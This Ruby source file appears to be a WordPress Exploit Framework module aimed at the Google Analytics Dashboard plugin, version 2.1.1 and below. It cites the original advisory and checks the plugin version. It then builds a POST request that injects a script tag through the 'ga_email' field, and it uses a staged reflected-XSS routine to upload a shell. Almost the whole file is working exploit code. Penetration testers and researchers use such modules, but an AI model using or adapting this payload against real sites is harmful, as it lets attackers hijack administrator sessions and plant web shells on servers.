# frozen_string_literal: true

class Wpxf::Exploit::GoogleAnalyticsDashboardReflectedXssShellUpload < Wpxf::Module
  include Wpxf::WordPress::StagedReflectedXss

  def initialize
    super

    update_info(
      name: 'Google Analytics Dashboard <= 2.1.1 Reflected XSS Shell Upload',
      author: [
        'Yorick Koster', # Disclosure
        'rastating'      # WPXF module
      ],
      references: [
        ['WPVDB', '8747'],
        ['URL', 'https://sumofpwn.nl/advisory/2016/cross_site_scripting_in_google_analytics_dashboard_wordpress_plugin.html']
      ],
      date: 'Mar 02 2017'
    )
  end

  def check
    check_plugin_version_from_readme('google-analytics-dashboard', '2.1.2')
  end

  def vulnerable_url
    normalize_uri(wordpress_url_admin, 'options-general.php?page=google-analytics-dashboard%2Fgad-admin-options.php')
  end

  def initial_script
    create_basic_post_script(
      vulnerable_url,
      'gad_login_type' => 'client',
      'ga_email' => "\\\"><script>#{xss_ascii_encoded_include_script}<\\/script>",
      'ga_pass' => Utility::Text.rand_alphanumeric(6),
      'ga_save_pass' => 'ga_save_pass',
      'SubmitLogin' => 'Login'
    )
  end
end
